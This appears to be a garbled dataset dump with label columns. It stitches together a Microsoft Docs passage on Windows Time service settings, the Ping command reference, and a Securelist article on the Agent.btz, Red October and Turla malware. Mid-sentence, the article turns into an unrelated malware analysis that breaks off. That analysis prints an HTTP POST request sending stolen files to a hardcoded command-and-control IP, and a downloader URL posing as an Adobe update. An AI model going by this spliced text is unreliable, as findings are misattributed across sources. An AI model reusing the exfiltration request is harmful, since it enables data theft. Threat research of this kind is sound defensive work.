0 Default value for both domain members and stand-alone clients: 1 LargeSampleSkew All Entry specifies the large sample skew for logging in seconds. To comply with Security and Exchange Commission (SEC) specifications, this should be set to three seconds. Events will be logged for this setting only when EventLogFlags is explicitly configured for 0x2 large sample skew. The default value on domain members is 3. The default value on stand-alone clients and servers is 3. ResolvePeerBackOffMaxTimes All Entry specifies the maximum number of times to double the wait interval when repeated attempts to locate a peer to synchronize with fail. A value of zero means that the wait interval is always the minimum. The default value on domain members is 7. The default value on stand-alone clients and servers is 7. ResolvePeerBackoffMinutes All Entry specifies the initial interval to wait, in minutes, before attempting to locate a peer to synchronize with. The default value on domain members is 15. The default value on stand-alone clients and servers is 15. SpecialPollInterval All Entry specifies the special poll interval in seconds for manual peers. When the SpecialInterval 0x1 flag is enabled, W32Time uses this poll interval instead of a poll interval determine by the operating system. The default value on domain members is 3,600. The default value on stand-alone clients and servers is 604,800. New for build 1702, SpecialPollInterval is contained by the MinPollInterval and MaxPollInterval Config registry values. SpecialPollTimeRemaining All Entry is maintained by W32Time. It contains reserved data that is used by the Windows operating system. It specifies the time in seconds before W32Time will resynchronize after the computer has restarted. Any changes to this setting can cause unpredictable results. The default value on both domain members and on stand-alone clients and servers is left blank. HKLM\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer Registry Entry Version Description AllowNonstandardModeCombinations All Entry indicates that non-standard mode combinations are allowed in synchronization between clients and servers. The default value for domain members is 1. The default value for stand-alone clients and servers is 1. DllName All Entry specifies the location of the DLL for the time provider. The default location for this DLL on both domain members and stand-alone clients and servers is %windir%\\System32\\W32Time.dll. Enabled All Entry indicates if the NtpServer provider is enabled in the current Time Service. Yes 1 No 0 The default value on domain members is 1. The default value on stand-alone clients and servers is 1. InputProvider All Entry indicates whether to enable the NtpClient as an InputProvider, which obtains time information from the NtpServer. The NtpServer is a time server that responds to client time requests on the network by returning time samples that are useful for synchronizing the local clock. Yes = 1 No = 0 Default value for both domain members and stand-alone clients: 1 MaxAllowedPhaseOffset information In order for W32Time to set the computer clock gradually, the offset must be less than the MaxAllowedPhaseOffset value and satisfy the following equation at the same time: Windows Server 2016 and later versions: |CurrentTimeOffset| / (16*PhaseCorrectRate*pollIntervalInSeconds) <= SystemClockRate / 2 Windows Server 2012 R2 and earlier versions: |CurrentTimeOffset| / (PhaseCorrectRate*UpdateInterval) <= SystemClockRate / 2 The CurrentTimeOffset value is measured in clock ticks, where 1ms = 10,000 clock ticks on a Windows system. SystemClockRate and PhaseCorrectRate are also measured in clock ticks. To get the SystemClockRate value, you can use the following command and convert it from seconds to clock ticks by using the formula of seconds*1000*10000: W32tm /query /status /verbose ClockRate: 0.0156000s SystemclockRate is the rate of the clock on the system. Using 156000 seconds as an example, the SystemclockRate value would be = 0.0156000 * 1000 * 10000 = 156000 clock ticks. MaxAllowedPhaseOffset is also in seconds. To convert it to clock ticks, multiply MaxAllowedPhaseOffset*1000*10000. The following examples show how to apply these calculations when you use Windows Server 2012 R2 or an earlier version. Example 1: Time differs by 4 minutes (for example, your time is 11:05 and the time sample that you received from a peer and believe to be correct is 11:09). phasecorrectRate = 1 UpdateInterval = 30000 (clock ticks) systemclockRate = 156000 (clock ticks) MaxAllowedPhaseOffset = 10min = 600 seconds = 600*1000\\*10000=6000000000 clock ticks |currentTimeOffset| = 4mins = 4*60\\*1000\\*10000 = 2400000000 ticks Is CurrentTimeOffset <= MaxAllowedPhaseOffset? 2400000000 <= 6000000000 = TRUE AND does it satisfy the above equation? (|CurrentTimeOffset| / (PhaseCorrectRate*UpdateInterval) <= SystemClockRate / 2) Is 2,400,000,000 / (30000*1) <= 156000/2 Is 80,000 <= 78,000 NO/FALSE Therefore W32tm would set the clock back immediately. Note In this case, if you want to set the clock back slowly, you would also have to adjust the values of PhaseCorrectRate or updateInterval in the registry to make sure that the equation result is TRUE. Example 2: Time differs by 3 minutes. phasecorrectRate = 1 UpdateInterval = 30000 (clock ticks) systemclockRate = 156000 (clock ticks) MaxAllowedPhaseOffset = 10min = 600 seconds = 600*1000\\*10000=6000000000 clock ticks currentTimeOffset = 3mins = 3*60\\*1000\\*10000 = 1800000000 clock ticks Is CurrentTimeOffset <= MaxAllowedPhaseOffset? 1800000000 <= 6000000000 = TRUE AND does it satisfy the above equation? (|CurrentTimeOffset| / (PhaseCorrectRate*UpdateInterval) <= SystemClockRate / 2) Is 3 mins (1,800,000,000) / (30000*1) <= 156000/2 Is 60,000 <= 78,000 YES/TRUE In this case the clock will be set back slowly. Windows Time Service Group Policy Settings You can configure most W32Time parameters by using the Group Policy Object Editor. This includes configuring a computer to be an NTPServer or NTPClient, configuring the time synchronization mechanism, and configuring a computer to be a reliable time source. Note Group Policy settings for the Windows Time service can be configured on Windows Server 2003, Windows Server 2003 R2, Windows Server 2008 , and Windows Server 2008 R2 domain controllers and can be applied only to computers running Windows Server 2003, Windows Server 2003 R2, Windows Server 2008 , and Windows Server 2008 R2 . You can find the Group Policy settings used to configure W32Time in the Group Policy Object Editor snap-in in the following locations: Computer Configuration\\Administrative Templates\\System\\Windows Time Service Configure Global Configuration Settings here. Computer Configuration\\Administrative Templates\\System\\Windows Time Service\\Time Providers Configure Windows NTP Client settings here. Enable Windows NTP Client here. Enable Windows NTP Server here. Warning Some of the preset values that are configured in the System Administrative template file (System.adm) for the Group Policy object (GPO) settings are different from the corresponding default registry entries. If you plan to use a GPO to configure any Windows Time setting, be sure that you review Preset values for the Windows Time service Group Policy settings are different from the corresponding Windows Time service registry entries in Windows Server 2003. This issue applies to Windows Server 2008 R2 , Windows Server 2008 , Windows Server 2003 R2, and Windows Server 2003. The following table lists the global Group Policy settings that are associated with the Windows Time service and the pre-set value associated with each setting. For more information about each setting, see the corresponding registry entries in Windows Time Service Registry Entries earlier in this subject. The following settings are contained in a single GPO called Global Configuration Settings. Global Group Policy Settings Associated with Windows Time Group Policy Setting Pre-Set Value AnnounceFlags 10 EventLogFlags 2 FrequencyCorrectRate 4 HoldPeriod 5 LargePhaseOffset 1280000 LocalClockDispersion 10 MaxAllowedPhaseOffset 300 MaxNegPhaseCorrection 54,000 (15 hours) MaxPollInterval 15 MaxPosPhaseCorrection 54,000 (15 hours) MinPollInterval 10 PhaseCorrectRate 7 PollAdjustFactor 5 SpikeWatchPeriod 90 UpdateInterval 100 The following table lists the available settings for the Configure Windows NTP Client GPO and the pre-set values that are associated with the Windows Time service. For more information about each setting, see the corresponding registry entries in Windows Time Service Registry Entries earlier in this subject. NTP Client Group Policy Settings Associated with Windows Time Group Policy Setting Default Value NtpServer time.windows.com,0x1 Type Default options: - NTP. Use on computers that are not joined to a domain. - NT5DS. Use on computers that are joined to a domain. CrossSiteSyncFlags 2 ResolvePeerBackoffMinutes 15 ResolvePeerBackoffMaxTimes 7 SpecialPollInterval 3600 EventLogFlags 0 Network Ports Used by the Windows Time Service Windows Time follows the NTP specification, which requires the use of UDP port 123 for all time synchronization communication. This port is reserved by Windows Time and remains reserved at all times. Whenever the computer synchronizes its clock or provides time to another computer, that communication is performed on UDP port 123. Note If you have a computer with multiple network adapters (also called a multihomed computer), you cannot selectively enable the Windows Time service based on the network adapter. Related Information The following resources contain additional information that is relevant to this section. RFC 1305 in the IETF RFC Database Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Feedback Send feedback about This product This page You may also leave feedback directly on GitHub . This page You may also leave feedback directly on GitHub . Liquid error: Can't find the localized string giveDocumentationFeedback for template Conceptual. Issue Title Leave a comment Submit feedback Loading feedback... There are no open issues There are no closed issues View on GitHub Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Ping | Microsoft Docs Skip to main content Contents Exit focus mode Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Ping 09/11/2009 4 minutes to read In this article Verifies IP-level connectivity to another TCP/IP computer by sending Internet Control Message Protocol (ICMP) Echo Request messages. The receipt of corresponding Echo Reply messages are displayed, along with round-trip times. Ping is the primary TCP/IP command used to troubleshoot connectivity, reachability, and name resolution. Used without parameters, ping displays help. Syntax ping [-t] [-a] [-n Count] [-l Size] [-f] [-i TTL] [-v TOS] [-r Count] [-s Count] [{-j HostList | -k HostList}] [-w Timeout] [TargetName] Parameters -t : Specifies that ping continue sending Echo Request messages to the destination until interrupted. To interrupt and display statistics, press CTRL-BREAK. To interrupt and quit ping, press CTRL-C. -a : Specifies that reverse name resolution is performed on the destination IP address. If this is successful, ping displays the corresponding host name. -n Count : Specifies the number of Echo Request messages sent. The default is 4. -l Size : Specifies the length, in bytes, of the Data field in the Echo Request messages sent. The default is 32. The maximum size is 65,527. -f : Specifies that Echo Request messages are sent with the Don't Fragment flag in the IP header set to 1. The Echo Request message cannot be fragmented by routers in the path to the destination. This parameter is useful for troubleshooting path Maximum Transmission Unit (PMTU) problems. -i TTL : Specifies the value of the TTL field in the IP header for Echo Request messages sent. The default is the default TTL value for the host. For Windows XP hosts, this is typically 128. The maximum TTL is 255. -v TOS : Specifies the value of the Type of Service (TOS) field in the IP header for Echo Request messages sent. The default is 0. TOS is specified as a decimal value from 0 to 255. -r Count : Specifies that the Record Route option in the IP header is used to record the path taken by the Echo Request message and corresponding Echo Reply message. Each hop in the path uses an entry in the Record Route option. If possible, specify a Count that is equal to or greater than the number of hops between the source and destination. The Count must be a minimum of 1 and a maximum of 9. -s Count : Specifies that the Internet Timestamp option in the IP header is used to record the time of arrival for the Echo Request message and corresponding Echo Reply message for each hop. The Count must be a minimum of 1 and a maximum of 4. -j HostList : Specifies that the Echo Request messages use the Loose Source Route option in the IP header with the set of intermediate destinations specified in HostList. With loose source routing, successive intermediate destinations can be separated by one or multiple routers. The maximum number of addresses or names in the host list is 9. The host list is a series of IP addresses (in dotted decimal notation) separated by spaces. -k HostList : Specifies that the Echo Request messages use the Strict Source Route option in the IP header with the set of intermediate destinations specified in HostList. With strict source routing, the next intermediate destination must be directly reachable (it must be a neighbor on an interface of the router). The maximum number of addresses or names in the host list is 9. The host list is a series of IP addresses (in dotted decimal notation) separated by spaces. -w Timeout : Specifies the amount of time, in milliseconds, to wait for the Echo Reply message that corresponds to a given Echo Request message to be received. If the Echo Reply message is not received within the time-out, the ""Request timed out"" error message is displayed. The default time-out is 4000 (4 seconds). TargetName : Specifies the destination, which is identified either by IP address or host name. /? : Displays help at the command prompt. Remarks You can use ping to test both the computer name and the IP address of the computer. If pinging the IP address is successful, but pinging the computer name is not, you might have a name resolution problem. In this case, ensure that the computer name you are specifying can be resolved through the local Hosts file, by using Domain Name System (DNS) queries, or through NetBIOS name resolution techniques. This command is available only if the Internet Protocol (TCP/IP) protocol is installed as a component in the properties of a network adapter in Network Connections Examples The following example shows ping command output: C:\\>ping example.microsoft.com Pinging example.microsoft.com [192.168.239.132] with 32 bytes of data: Reply from 192.168.239.132: bytes=32 time=101ms TTL=124 Reply from 192.168.239.132: bytes=32 time=100ms TTL=124 Reply from 192.168.239.132: bytes=32 time=120ms TTL=124 Reply from 192.168.239.132: bytes=32 time=120ms TTL=124 To ping the destination 10.0.99.221 and resolve 10.0.99.221 to its host name, type: ping -a 10.0.99.221 To ping the destination 10.0.99.221 with 10 Echo Request messages, each of which has a Data field of 1000 bytes, type: ping -n 10 -l 1000 10.0.99.221 To ping the destination 10.0.99.221 and record the route for 4 hops, type: ping -r 4 10.0.99.221 To ping the destination 10.0.99.221 and specify the loose source route of 10.12.0.1-10.29.3.1-10.1.44.1, type: ping -j 10.12.0.1 10.29.3.1 10.1.44.1 10.0.99.221 Formatting legend Format Meaning Italic Information that the user must supply Bold Elements that the user must type exactly as shown Ellipsis (...) Parameter that can be repeated several times in a command line Between brackets ([]) Optional items Between braces ({}); choices separated by pipe (|). Example: {even|odd} Set of choices from which the user must choose only one Courier font Code or program output Command-line reference A-Z Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Agent.btz: a Source of Inspiration? | Securelist Solutions for: Home Products Small Business 1-50 employees Medium Business 51-999 employees Enterprise 1000+ employees Kaspersky CompanyAccount Get In Touch Solutions Endpoint SecurityLearn More Hybrid Cloud SecurityLearn More Internet of Things & Embedded SecurityLearn More Threat Management and DefenseLearn More Industrial CybersecurityLearn More Fraud PreventionLearn More Industries National CybersecurityLearn More Industrial CybersecurityLearn More Finance Services CybersecurityLearn More Healthcare CybersecurityLearn More Transportation CybersecurityLearn More Retail CybersecurityLearn More Other Industries Telecom Cybersecurity View all Products KasperskyEndpoint SecurityLearn More KasperskyEndpoint Detection and ResponseLearn More KasperskyHybrid Cloud SecurityLearn More KasperskyAnti Targeted Attack PlatformLearn More KasperskyPrivate Security NetworkLearn More KasperskyEmbedded Systems SecurityLearn More Other Products Kaspersky Security for Mail Server Kaspersky DDoS Protection Kaspersky Mobile Security Kaspersky Security for Storage View All Services KasperskyCybersecurity ServicesLearn More KasperskySecurity AwarenessLearn More KasperskyPremium SupportLearn More KasperskyThreat IntelligenceLearn More KasperskyThreat HuntingLearn More KasperskyIncident ResponseLearn More Other Services Kaspersky Professional Services Kaspersky Security Assessment Kaspersky Security Training Kaspersky Advanced Cyber Incident Communications View All Resource Center Case Studies White Papers Datasheets Technologies Contact Us GDPR Menu Securelist English English P\xd1\x83\xd1\x81\xd1\x81\xd0\xba\xd0\xb8\xd0\xb9 Deutsch Fran\xc3\xa7ais Italiano Espa\xc3\xb1ol Polski Threats Mobile threats Secure environment (IoT) Financial threats Spam and phishing Industrial threats Vulnerabilities and exploits Web threats Categories APT reports Research Incidents Security Bulletin Publications Malware reports Spam and phishing reports All categories Tags Ransomware Targeted Attacks Botnets Internet Banking Mobile Malware Social Engineering Malware Statistics Show all tags Statistics Encyclopedia Descriptions Solutions for: Home Users Products KasperskyTotal Security KasperskyInternet Security KasperskyAnti-Virus KasperskyInternet Security for Mac Kaspersky Internet Security for Android KasperskySecure Connection Free Tools Kaspersky Safe Kids Kaspersky Password Manager Kaspersky Software Updater View more Renew Downloads Support Resource Center My Kaspersky My Devices My Products / Subscriptions My Orders Small Business(1-50 employees) Products KasperskySmall Office Security KasperskyEndpoint Security Cloud KasperskyEndpoint Security for Business Select KasperskyEndpoint Security for Business Advanced Renew Downloads Support Resource Center Insights Products & Solutions Customer Stories Awards & Recognition Technology GDPR KSOS Portal Medium Business(51-999 employees) Products KasperskyEndpoint Security Cloud KasperskySecurity for Office 365 KasperskyEndpoint Security for Business Select KasperskyEndpoint Security for Business Advanced KasperskySecurity for Business Total KasperskyPhysical, Virtual & Cloud Workloads Security TARGETED SECURITY SOLUTIONS Mail Server File Server Mobile Internet Gateway Virtualization and Hybrid Cloud Collaboration Vulnerability and Patch Management Storage View More Services Downloads Support Resource Center Insights Products & Solutions Customer Stories Awards & Recognition Technology GDPR CompanyAccount Enterprise(1000+ employees) Solutions Endpoint Security Hybrid Cloud Security Internet of Things & Embedded Security Threat Management and Defense Industrial Cybersecurity Fraud Prevention Industries National Cybersecurity Industrial Cybersecurity Finance Services Cybersecurity Healthcare Cybersecurity Transportation Cybersecurity Retail Cybersecurity Other industries Telecom Cybersecurity View all Products KasperskyEndpoint Security KasperskyEndpoint Detection and Response KasperskyHybrid Cloud Security KasperskyAnti Targeted Attack Platform KasperskyPrivate Security Network KasperskyEmbedded Systems Security Other products Kaspersky Security for Mail Server Kaspersky DDoS Protection Kaspersky Mobile Security Kaspersky Security for Storage View all Services KasperskyCybersecurity Services KasperskySecurity Awareness KasperskyPremium Support KasperskyThreat Intelligence KasperskyThreat Hunting KasperskyIncident Response Other Services Kaspersky Professional Services Kaspersky Security Assessment Kaspersky Security Training Kaspersky Advanced Cyber Incident Communications View all Resource Center Case Studies White Papers Datasheets Technologies Contact Us GDPR CompanyAccount Securelist Threats Financial threats Mobile threats Web threats Secure environment (IoT) Vulnerabilities and exploits Spam and Phishing Industrial threats Categories APT reports Incidents Research Malware reports Spam and phishing reports Kaspersky Security Bulletin Publications Tags Ransomware Botnets Mobile Malware Social Engineering Targeted Attacks Malware Statistics All Tags Statistics Encyclopedia Descriptions Partners Partners Find a Partner Affiliate Technology Whitelist Program About Us About Us Company Team Transparency Transparency Center Policy Blog Corporate News Press Center Careers Incubator Sponsorships APT reports Agent.btz: a Source of Inspiration? By Alexander Gostev on March 12, 2014. 8:38 pm The past few days has seen an extensive\xc2 discussion\xc2 within the IT security industry about a cyberespionage campaign called Turla, aka Snake and Uroburos, which, according to G-DATA experts, may have been created by Russian special services. One of the main conclusions also pointed out by research from BAE SYSTEMS, is a connection between the authors of Turla and those of another malicious program, known as Agent.BTZ, which infected the local networks of US military operations in the Middle East in 2008. We first became aware of this targeted campaign in March 2013. This became apparent when we investigated an incident which involved a highly sophisticated rootkit. We called it the \xe2\x80\x98Sun rootkit\xe2\x80\x99, based on a filename used as a virtual file system: sunstore.dmp, also accessible as \\.Sundrive1 and \\.Sundrive2. The \xe2\x80\x98Sun rootkit\xe2\x80\x99 and Uroburos are the same. We are still actively investigating Turla, and we believe it is far more complex and versatile than the already published materials suggest. At this point, I would like to discuss the connection between Turla and Agent.btz in a little more detail. Agent.btz: a global epidemic or a targeted attack? The story of Agent.btz began back in 2007 and was extensively covered by the mass media in late 2008 when\xc2 it was used to infect US military networks. Here is what\xc2 Wikipedia\xc2 has to say about it: \xe2\x80\x9cThe 2008 cyberattack on the United States was the \xe2\x80\x98worst breach of U.S. military computers in history\xe2\x80\x99. The defense against the attack was named \xe2\x80\x98Operation Buckshot Yankee\xe2\x80\x99. It led to the creation of the United States Cyber Command. It started when a USB flash drive infected by a foreign intelligence agency was left in the parking lot of a Department of Defense facility at a base in the Middle East. It contained malicious code and was put into a USB port from a\xc2 laptop computer\xc2 that was attached to United States Central Command. The Pentagon spent nearly 14 months cleaning the worm, named Agent.btz, from military networks. Agent.btz, a variant of the SillyFDC worm, has the ability \xe2\x80\x98to scan computers for data, open backdoors, and send through those backdoors to a remote command and control server\xe2\x80\x99.\xe2\x80\x9d We do not know how accurate is the story with the USB flash drive left in the parking lot. We have also heard a number of other versions of this story, which may, or may not be right. However, the important fact here is that Agent.btz was a self replicating computer worm, not just a Trojan. Another important fact is that the malware has dozens of different variants. We believe that the initial variants of the worm were created back in 2007. By 2011 a large number of its modifications had been detected. Today, most variants are detected by Kaspersky products asWorm.Win32.Orbina. Curiously, in accordance with the naming convention used by PC Tools, the worm is also namedVoronezh.1600\xc2 \xe2\x80\x93 possibly a reference to the mythical Voronezh school of hackers, in Russia. In any event, it is quite obvious that the US military were not the only victims of the worm. Copying itself from one USB flash drive to another, it rapidly spread globally. Although no new variants of the malware have been created for several years and the vulnerability enabling the worm to launch from USB flash drives using \xe2\x80\x9cautorun.inf\xe2\x80\x9d have long since been closed in newer versions of Windows, according to our data Agent.btz was detected 13,832 times in 107 countries across the globe in 2013 alone! The dynamics of the worm\xe2\x80\x99s epidemic are also worth noting. Over three years \xe2\x80\x93 from 2011 to 2013 \xe2\x80\x93 the number of infections caused by Agent.btz steadily declined; however, the top 10 affected countries changed very little. \xc2 Agent.BTZ detections (unique users) 2011 1 Russian Federation 24111 2 Spain 9423 3 Italy 5560 4 Kazakhstan 4412 5 Germany 3186 6 Poland 3068 7 Latvia 2805 8 Lithuania 2016 9 United Kingdom 761 10 Ukraine 629 \xc2 Total countries 147 \xc2 Total users 63021 \xc2 Agent.BTZ detections (unique users) 2012 1 Russian Federation 11211 2 Spain 5195 3 Italy 3052 4 Germany 2185 5 Kazakhstan 1929 6 Poland 1664 7 Latvia 1282 8 Lithuania 861 9 United Kingdom 335 10 Ukraine 263 \xc2 Total countries 130 \xc2 Total users 30923 \xc2 Agent.BTZ detections (unique users) 2013 1 Russian Federation 4566 2 Spain 2687 3 Germany 1261 4 Italy 1067 5 Kazakhstan 868 6 Poland 752 7 Latvia 562 8 Lithuania 458 9 Portugal 157 10 United Kingdom 123 \xc2 Total countries 107 \xc2 Total users 13832 The statistics presented above are based on the following Kaspersky Anti-Virus verdicts: Worm.Win32.Autorun.j, Worm.Win32.Autorun.bsu, Worm.Win32.Autorun.bve, Trojan-Downloader.Win32.Agent.sxi, Worm.Win32.AutoRun.lqb, Trojan.Win32.Agent.bve, Worm.Win32.Orbina To summarize the above, the Agent.btz worm has clearly spread all over the world, with Russia leading in terms of the number of infections for several years. Map of infections caused by different modifications of \xe2\x80\x9cAgent.btz\xe2\x80\x9d in 2011-2013 For detailed information on the modus operandi of Agent.btz, I recommend reading an excellent\xc2 report prepared by Sergey Shevchenko from ThreatExpert, back in November 2008. On infected systems, the worm creates a file named \xe2\x80\x98thumb.dd\xe2\x80\x99 on all USB flash drives connected to the computer, using it to store a CAB file containing the following files: \xe2\x80\x9cwinview.ocx\xe2\x80\x9d, \xe2\x80\x9cwmcache.nld\xe2\x80\x9d and \xe2\x80\x9cmswmpdat.tlb\xe2\x80\x9d. These files contain information about the infected system and the worm\xe2\x80\x99s activity logs for that system. Essentially, \xe2\x80\x9cthumb.dd\xe2\x80\x9d is a container for data which is saved on the flash drive, unless it can be sent directly over the Internet to the C&C server. If such a flash drive is inserted into another computer infected with Orbina, the file \xe2\x80\x9cthumb.dd\xe2\x80\x9d will be copied to the computer under the name \xe2\x80\x9cmssysmgr.ocx\xe2\x80\x9d. Given this functionality and the global scale of the epidemic caused by the worm, we believe that there are tens of thousands of USB flash drives in the world containing files named \xe2\x80\x9cthumb.dd\xe2\x80\x9d created by Agent.btz at some point in time and containing information about systems infected by the worm. Red October: a data collector? Over one year ago, we analyzed dozens of modules used by Red October, an extremely sophisticated cyber espionage operation. While performing the analysis, we noticed that the list of files that a module named \xe2\x80\x9cUSB Stealer\xe2\x80\x9d searches for on USB flash drives connected to infected computers included the names of files created by Agent.btz \xe2\x80\x9cmssysmgr.ocx\xe2\x80\x9d and \xe2\x80\x9cthumb.dd\xe2\x80\x9d. This means that Red October developers were actively looking for data collected several years previously by Agent.btz. All the USB Stealer modules known to us were created in 2010-2011. Both Red October and Agent.btz were, in all probability, created by Russian-speaking malware writers. One program \xe2\x80\x9cknew\xe2\x80\x9d about the files created by the other and tried to make use of them. Are these facts sufficient to conclude that there was a direct connection between the developers of the two malicious programs? I believe they are not. First and foremost, it should be noted that the fact that the file \xe2\x80\x9cthumb.dd\xe2\x80\x9d contains data from Agent.btz-infected systems was publicly known. It is not impossible that the developers of Red October, who must have been aware of the large number of infections caused by Agent.btz and of the fact that the worm had infected US military networks, simply tried to take advantage of other people\xe2\x80\x99s work to collect additional data. It should also be remembered that Red October was a tool for highly targeted pinpoint attacks, whereas Agent.btz was a worm, by definition designed to spread uncontrollably and \xe2\x80\x9ccollect\xe2\x80\x9d any data it could access. Basically, any malware writer could add scanning of USB flash drives for \xe2\x80\x9cthumb.dd\xe2\x80\x9d files and the theft of those files to their Trojan functionality. Why not steal additional data without too much additional effort? However, decrypting the data stolen requires one other thing \xe2\x80\x93 the encryption key. Agent.btz and Turla/Uroburos The connection between Turla and Agent.btz is more direct, although not sufficiently so to conclude that the two programs have the same origin. Turla uses the same file names as Agent.btz \xe2\x80\x93 \xe2\x80\x9cmswmpdat.tlb\xe2\x80\x9d, \xe2\x80\x9cwinview.ocx\xe2\x80\x9d and \xe2\x80\x9cwmcache.nld\xe2\x80\x9d for its log files stored on infected systems. All the overlapping file names are presented in the table below: \xc2 Agent.btz Red October Turla Log files thumb.dd thumb.dd \xc2 \xc2 winview.ocx \xc2 winview.ocx \xc2 mssysmgr.ocx mssysmgr.ocx \xc2 \xc2 wmcache.nld \xc2 wmcache.nld \xc2 mswmpdat.tlb \xc2 mswmpdat.tlb \xc2 fa.tmp \xc2 fa.tmp In addition, Agent.btz and Turla use the same XOR key to encrypt their log files: 1dM3uu4j7Fw4sjnbcwlDqet4F7JyuUi4m5Imnxl1pzxI6 as80cbLnmz54cs5Ldn4ri3do5L6gs923HL34x2f5cvd0fk6c1a0s The key is not a secret, either: it was discovered and published back in 2008 and anybody who had an interest in the Agent.btz story knew about the key. Is it possible that the developers of Turla decided to use somebody else\xe2\x80\x99s key to encrypt their logs? We are as yet unable to determine at what point in time this particular key was adopted for Turla. It is present in the latest samples (dated 2013-2014), but according to some data the development of Turla began back in 2006 \xe2\x80\x93 before the earliest known variant of Agent.btz was created. Red October and Turla Now we have determined that Red October \xe2\x80\x9cknew\xe2\x80\x9d about the file names used by Agent.btz and searched for them. We have also determined that Turla used the same file names and encryption key as Agent.btz. So what about a possible connection between Red October and Turla? Is there one? Having analyzed all the data at our disposal, we do not see any overlapping between the two projects. They do not \xe2\x80\x9cknow\xe2\x80\x9d about each other, they do not communicate between themselves in any way, they are different in terms of their architecture and the technologies used. The only thing they really have in common is that the developers of both Rocra and Turla appear to have Russian as their native language.\\AppData\\Local\\Temp\\reports\xe2\x80\x9d This folder is used as a temporary location to copy all files from a newly connected logical drive to and upload them to the C2 server. The files are transferred to the hardcoded C2 server \xe2\x80\x9c195.62.52.93\xe2\x80\x9d one by one via HTTP POST method. The following request is used which also includes information about the victim, the file to be transferred as well as the source drive: POST /post.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----qwerty Host: 195.62.52.93 Content-Length: ... Cache-Control: no-cache ------qwerty Content-Disposition: form-data; name=""filename"" \\\\ ------qwerty Content-Disposition: form-data; name=""filedate"" // : ------qwerty Content-Disposition: form-data; name=""compname"" |||||| ------qwerty Content-Disposition: form-data; name=""serial"" ------qwerty Content-Disposition: form-data; name=""w"" ""?"" ------qwerty Content-Disposition: form-data; name=""filesize"" ------qwerty Content-Disposition: form-data; name=""file""; filename="""" Content-Type: application/octet-stream Content-Transfer-Encoding: binary ...File data... ------qwerty-- 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 POST /post.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----qwerty Host: 195.62.52.93 Content-Length: ... Cache-Control: no-cache \xc2 ------qwerty Content-Disposition: form-data; name=""filename"" \xc2 \\\\ ------qwerty Content-Disposition: form-data; name=""filedate"" \xc2 // : ------qwerty Content-Disposition: form-data; name=""compname"" \xc2 |||||| ------qwerty Content-Disposition: form-data; name=""serial"" \xc2 ------qwerty Content-Disposition: form-data; name=""w"" \xc2 ""?"" ------qwerty Content-Disposition: form-data; name=""filesize"" \xc2 ------qwerty Content-Disposition: form-data; name=""file""; filename="""" Content-Type: application/octet-stream Content-Transfer-Encoding: binary \xc2 ...File data... \xc2 ------qwerty-- The malware also creates a SQLite database named \xe2\x80\x9casha.dat\xe2\x80\x9d in the local users temp folder. Therein, it keeps track of files which were stolen by calculating the MD5 hash of the filename followed by the file length. Therefore, it creates a Unicode string of the original file path from the drive and concatenates the file size in bytes to it. Finally, it uses the API functions MD5Init(), MD5Update() and MD5Final() to calculate the hash and store it in the database. Figure 7 Structure of the database created by the malware It should be noted, that only hashes of files are added to the database that don\xe2\x80\x99t have the following extensions: DLL BIN CAB EXE ISO Downloader: MSO1567.dls / LocalSMS.dll This file is essentially a simple downloader which contacts the C2 server to send some user data and get an executable as response which will be executed. The DLL is written in C++ and contains all of the functionality is in an export function named \xe2\x80\x9cEntryPoint\xe2\x80\x9d. The file was compiled without any compiler or linker optimizations, thus the big file size and the remaining PDB path string. At first, the malware retrieves the temp path of the local user (\xe2\x80\x9cC:\\Users\\\\AppData\\Local\\Temp\\\xe2\x80\x9d), the computer name (e.g. \xe2\x80\x9cWIN-MLABCSUOVJB\xe2\x80\x9d), the hardware profile GUID (e.g. \xe2\x80\x9c{826ee360-7139-11de-8d20-808e6f6e6263}\xe2\x80\x9d) and the volume serial number of C:\\ drive (e.g. \xe2\x80\x9c1956047236\xe2\x80\x9d). Next, it takes the following hardcoded string: http://adobe.update-service[.]net/index.php?comp= To create a URL string with the victims information for 